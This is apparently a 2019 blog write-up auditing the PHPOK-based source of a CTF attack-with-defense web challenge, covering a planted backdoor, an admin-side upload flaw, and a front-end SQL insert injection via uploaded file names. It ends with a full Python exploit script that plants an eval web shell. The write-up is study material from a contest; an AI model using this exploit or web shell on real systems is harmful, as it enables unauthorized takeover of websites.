Code Audit - Offline awd contest source web2

Posted by salathe on Mon, 22 Jul 2019 19:39:11 +0200

Tonight, let's take a look at the source of the game that day. There was still some panic during the game and we didn't take a good look at the code.

 

 

 

The bugs in awd's questions are the kind you can get flag quickly by taking advantage of the privileges you get. Usually the most complex ones are not.

It is recommended that you try black boxes first, such as foreground upload, background upload, etc. and then combine code auditing to see if you can bypass utilization if the execution fails.

Therefore, the audit focuses on reserved backdoor, injection, file upload, command/code execution.

 

0x01 Reserved Backdoor

 

Not too many routines and hides are obvious horses

 

 

 

More interesting is the first horse.

 

(thought it was just plain $pass ='ec38fe2a8497e0a8d6d349b3533038cb'; //angel entered the password but found it was not

Enter angel password and return md5 to me. Look at the code

$pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
.........

....


/* Authentication */
if ($act == "logout") {
    scookie('loginpass', '', -86400 * 365);
    @header('Location: '.SELF);
    exit;
}
if($pass) {
    if ($act == 'login') {
        if ($pass == encode_pass($P['password'])) {
            scookie('loginpass',encode_pass($P['password']));
            @header('Location: '.SELF);
            exit;
        }
    }
    if (isset($_COOKIE['loginpass'])) {
        if ($_COOKIE['loginpass'] != $pass) {
            loginpage();
        }
    } else {
        loginpage();
    }
}

 

Here, $p is the received array of post submissions

Simply put, receive the password password you enter, assign the password_pass encryption to the pass variable, then set the cookie for you by the scookie function, loginpass=your password after encryption to see the encrypted function

Simple encryption returns md5,

Looking at the scookie function, it's clearly modified here.

 

The setcookie is unsuccessful here, so the horse cannot be entered directly, and must be accessed with the cookie's loginpass field, which is an encrypted angle

 

 

 

 

0x02 Background arbitrary file upload getshell

All admin changed the background password the first time he logged in

 

Analysis:

Bug file: /framework/admin/rescate_control.php Line 53

public function save_f()
    {
        $id = $this->get('id','int');
        if(!$id){
            if(!$this->popedom['add']){
                $this->json(P_Lang('You do not have permission to perform this operation'));
            }
        }else{
            if(!$this->popedom['modify']){
                $this->json(P_Lang('You do not have permission to perform this operation'));
            }
        }
        $title = $this->get('title');
        if(!$title){
            $this->json(P_Lang('Attachment Category Name cannot be empty'));
        }
        $root = $this->get('root');
        if(!$root){
            $this->json(P_Lang('Attachment storage directory cannot be empty'));
        }
        if($root == '/'){
            $this->json(P_Lang('Not supported for use/As root directory'));
        }
        if(!preg_match("/[a-z0-9\_\/]+/",$root)){
            $this->json(P_Lang('Folders do not meet system requirements and only support: lowercase letters, numbers, underscores and slashes'));
        }
        if(substr($root,0,1) == "/"){
            $root = substr($root,1);
        }
        if(!file_exists($this->dir_root.$root)){
            $this->lib('file')->make($this->dir_root.$root);
        }
        $filetypes = $this->get('filetypes');
        if(!$filetypes){
            $this->json(P_Lang('Attachment type cannot be empty'));
        }
        $list_filetypes = explode(",",$filetypes);
        foreach($list_filetypes as $key=>$value){
            $value = trim($value);
            if(!$value){
                unset($list_filetypes[$key]);
                continue;
            }
            if(!preg_match("/[a-z0-9\_\.]+/",$value)){
                $this->json(P_Lang('Attachment type set incorrectly, letters, numbers and English dots only'));
            }
        }
        $filetypes = implode(",",$list_filetypes);
        $typeinfo = $this->get('typeinfo');
        if(!$typeinfo){
            $this->json(P_Lang('Attachment type description cannot be empty'));
        }
        $maxinfo = str_replace(array('K','M','KB','MB','GB','G'),'',get_cfg_var('upload_max_filesize')) * 1024;
        $filemax = $this->get('filemax','int');
        if(!$filemax || ($filemax && $filemax>$maxinfo)){
            $filemax = $maxinfo;
        }
        $data = array('title'=>$title,'root'=>$root,'filetypes'=>$filetypes,'typeinfo'=>$typeinfo,'filemax'=>$filemax);
        $data['folder'] = $this->get('folder');
        $data['gdall'] = $this->get('gdall','int');
        if(!$data['gdall']){
            $gdtypes = $this->get('gdtypes');
            $data['gdtypes'] = $gdtypes ? implode(',',$gdtypes) : '';
        }else{
            $data['gdtypes'] = '';
        }
        $data['ico'] = $this->get('ico','int');
        $data['is_default'] = $this->get('is_default','int');
        $this->model('rescate')->save($data,$id);
        $this->json(true);
    }

This is the code to set the attachment type that can be uploaded

 

 

This only determines if the attachment type is empty and does not restrict the suffix, which allows you to add the php suffix yourself and then upload the file to get the website shell.

 

 

 

 

In the phpok administrator background, select Tools > Attachments Category Management to edit the catalog list.Add php to supported attachment types:

 

 

 

Then add a new article to Content Management > Industry News.In Picture Selection, upload a new attachment in Explorer.

 

 

 

 

 

 

 

0x03 Front Desk getshell

The source is open foreground during the race

 

 

Line 61 in/framework/www/upload_control.php:

private function upload_base($input_name='upfile',$cateid=0)
    {
        $rs = $this->lib('upload')->getfile($input_name,$cateid);
        if($rs["status"] != "ok"){
            return $rs;
        }
        $array = array();
        $array["cate_id"] = $rs['cate']['id'];
        $array["folder"] = $rs['folder'];
        $array["name"] = basename($rs['filename']);
        $array["ext"] = $rs['ext'];
        $array["filename"] = $rs['filename'];
        $array["addtime"] = $this->time;
        $array["title"] = $rs['title'];
        $array['session_id'] = $this->session->sessid();
        $array['user_id'] = $this->session->val('user_id');
        $arraylist = array("jpg","gif","png","jpeg");
        if(in_array($rs["ext"],$arraylist)){
            $img_ext = getimagesize($this->dir_root.$rs['filename']);
            $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
            $array["attr"] = serialize($my_ext);
        }
        $id = $this->model('res')->save($array);
        if(!$id){
            $this->lib('file')->rm($this->dir_root.$rs['filename']);
            return array('status'=>'error','error'=>P_Lang('Picture Storage Failed'));
        }
        $this->model('res')->gd_update($id);
        $rs = $this->model('res')->get_one($id);
        $rs["status"] = "ok";
        return $rs;
    }

 

This is a file upload function, then the getfile function is called at the beginning of the function to follow up:

public function getfile($input='upfile',$cateid=0)
    {
        if(!$input){
            return array('status'=>'error','content'=>P_Lang('Form name not specified'));
        }
        $this->_cate($cateid);
        if(isset($_FILES[$input])){
            $rs = $this->_upload($input);
        }else{
            $rs = $this->_save($input);
        }
        if($rs['status'] != 'ok'){
            return $rs;
        }
        $rs['cate'] = $this->cate;
        return $rs;
    }

 

Call the _upload function if an upload file exists and follow up:

private function _upload($input)
    {
        global $app;
        $basename = substr(md5(time().uniqid()),9,16);
        $chunk = $app->get('chunk','int');
        $chunks = $app->get('chunks','int');
        if(!$chunks){
            $chunks = 1;
        }
        $tmpname = $_FILES[$input]["name"];
        $tmpid = 'u_'.md5($tmpname);
        $ext = $this->file_ext($tmpname);
        $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk;
        if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) {
            return array('status'=>'error','error'=>P_Lang('Unable to open output stream'));
        }
        $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0;
        if($error_id){
            return array('status'=>'error','error'=>$this->up_error[$error_id]);
        }
        if(!is_uploaded_file($_FILES[$input]['tmp_name'])){
            return array('status'=>'error','error'=>P_Lang('Upload failed, temporary file could not be written'));
        }
        if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) {
            return array('status'=>'error','error'=>P_Lang('Unable to open input stream'));
        }
        while ($buff = fread($in, 4096)) {
            fwrite($out, $buff);
        }
        @fclose($out);
        @fclose($in);
        $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part');
        $index = 0;
        $done = true;
        for($index=0;$index<$chunks;$index++) {
            if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) {
                $done = false;
                break;
            }
        }
        if(!$done){
            return array('status'=>'error','error'=>'Uploaded File Exception');
        }
        $outfile = $this->folder.$basename.'.'.$ext;
        if(!$out = @fopen($this->dir_root.$outfile,"wb")) {
            return array('status'=>'error','error'=>P_Lang('Unable to open output stream'));
        }
        if(flock($out,LOCK_EX)){
            for($index=0;$index<$chunks;$index++) {
                if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){
                    break;
                }
                while ($buff = fread($in, 4096)) {
                    fwrite($out, $buff);
                }
                @fclose($in);
                $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part");
            }
            flock($out,LOCK_UN);
        }
        @fclose($out);
        $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
        $title = str_replace(".".$ext,'',$tmpname);
        return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
    }

 

Where $ext = $this->file_ext ($tmpname); detects file suffixes, take a look:

private function file_ext($tmpname)
    {
        $ext = pathinfo($tmpname,PATHINFO_EXTENSION);
        if(!$ext){
            return false;
        }
        $ext = strtolower($ext);
        $filetypes = "jpg,gif,png";
        if($this->cate && $this->cate['filetypes']){
            $filetypes .= ",".$this->cate['filetypes'];
        }
        if($this->file_type){
            $filetypes .= ",".$this->file_type;
        }
        $list = explode(",",$filetypes);
        $list = array_unique($list);
        if(!in_array($ext,$list)){
            return false;
        }
        return $ext;
    }

 

Uploads are more stringent. Only files with picture suffixes like jpg,png,gif are allowed to be uploaded. We can't bypass the upload, but the program does not filter the uploaded file names sufficiently. At the end of the function, the file names are added to the returned array:

 
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
        $title = str_replace(".".$ext,'',$tmpname);
        return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
    }

 

Here, $tmpname is the name of the file we uploaded. Note that it's not the file name after uploading, but the file name before uploading, and it's not filtered and returned.

Let's go back to the beginning, the upload_base function:

$rs = $this->lib('upload')->getfile($input_name,$cateid);
        if($rs["status"] != "ok"){
            return $rs;
        }
        $array = array();
        $array["cate_id"] = $rs['cate']['id'];
        $array["folder"] = $rs['folder'];
        $array["name"] = basename($rs['filename']);
        $array["ext"] = $rs['ext'];
        $array["filename"] = $rs['filename'];
        $array["addtime"] = $this->time;
        $array["title"] = $rs['title'];
        $array['session_id'] = $this->session->sessid();
        $array['user_id'] = $this->session->val('user_id');
        $arraylist = array("jpg","gif","png","jpeg");
        if(in_array($rs["ext"],$arraylist)){
            $img_ext = getimagesize($this->dir_root.$rs['filename']);
            $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
            $array["attr"] = serialize($my_ext);
        }
        $id = $this->model('res')->save($array);

 

You can see here that the Title Value in the return value is assigned to $array['title'], which is controlled by us, and then $array is brought into the save function, so let's take a look at the function:

Line 279 in/framework/model/res.php:

public function save($data,$id=0)
    {
        if(!$data || !is_array($data)){
            return false;
        }
        if($id){
            return $this->db->update_array($data,"res",array("id"=>$id));
        }else{
            return $this->db->insert_array($data,"res");
        }
    }

 

Bring $data into the insert_array function, which we'll look at:

Line 211 in/framework/engine/db/mysqli.php:

public function insert_array($data,$tbl,$type="insert")
    {
        if(!$tbl || !$data || !is_array($data)){
            return false;
        }
        if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){
            $tbl = $this->prefix.$tbl;
        }
        $type = strtolower($type);
        $sql = $type == 'insert' ? "INSERT" : "REPLACE";
        $sql.= " INTO ".$tbl." ";
        $sql_fields = array();
        $sql_val = array();
        foreach($data AS $key=>$value){
            $sql_fields[] = "`".$key."`";
            $sql_val[] = "'".$value."'";
        }
        $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        return $this->insert($sql);
    }

 

That is to iterate through the key values in the array, using the key as the field name and the value as the value of the corresponding field.As you can see, there is no escaping of values, including title s that we can control, and an insert is created here.So what's the use of this injection?Of course, the first thing I think about is data, but for update or insert injections, generally I'll find a way to upgrade this injection.Note that this injection is an insert injection and that an insert statement can insert more than one content at a time. We can't control the contents of the current insert statement. We can control the next one, like this:
Insert into file values(1,2,3,),(4,5,6)

 

As mentioned above, we can control the value of a row of records in the res table, and this filename is also controlled by us, so if we set filename to / res/balisong.php.Then the picture file I uploaded will be renamed to / res/balisong.php.We have reached the goal of a getshell.

Due to the specialty of the uploaded file name.Cause we can't have slashes, so what?We can use hexadecimal encoding to bypass, specific vulnerability utilization process is not detailed, more complex, so directly on exp:

From the community of the prophets

#-*- coding:utf-8 -*-
import requests
import sys
import re
if len(sys.argv) < 2:
    print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02"
    exit()
baseurl = sys.argv[1]
phpses = sys.argv[2] if len(sys.argv) > 2 else ''
cookies = {'PHPSESSION': phpses}
if baseurl[-1] == '/':
    baseurl = baseurl[:-1]
url = baseurl + '/index.php?c=upload&f=save'
files = [
    ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg",
                '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
]
files1 = [
    ('upfile',
     ('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
]
r = requests.post(url, files=files, cookies=cookies)
response = r.text
id = re.search('"id":"(\d+)"', response, re.S).group(1)
id = int(id) + 1
url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id)
r = requests.post(url, files=files1, cookies=cookies)
shell = baseurl + '/res/balisong.php'
response = requests.get(shell)
if response.status_code == 200:
    print "congratulation:Your shell:\n%s\npassword:balisong" % (shell)
else:
    print "oh!Maybe failed.Please check"

 

 

Topics: PHP JSON shell Session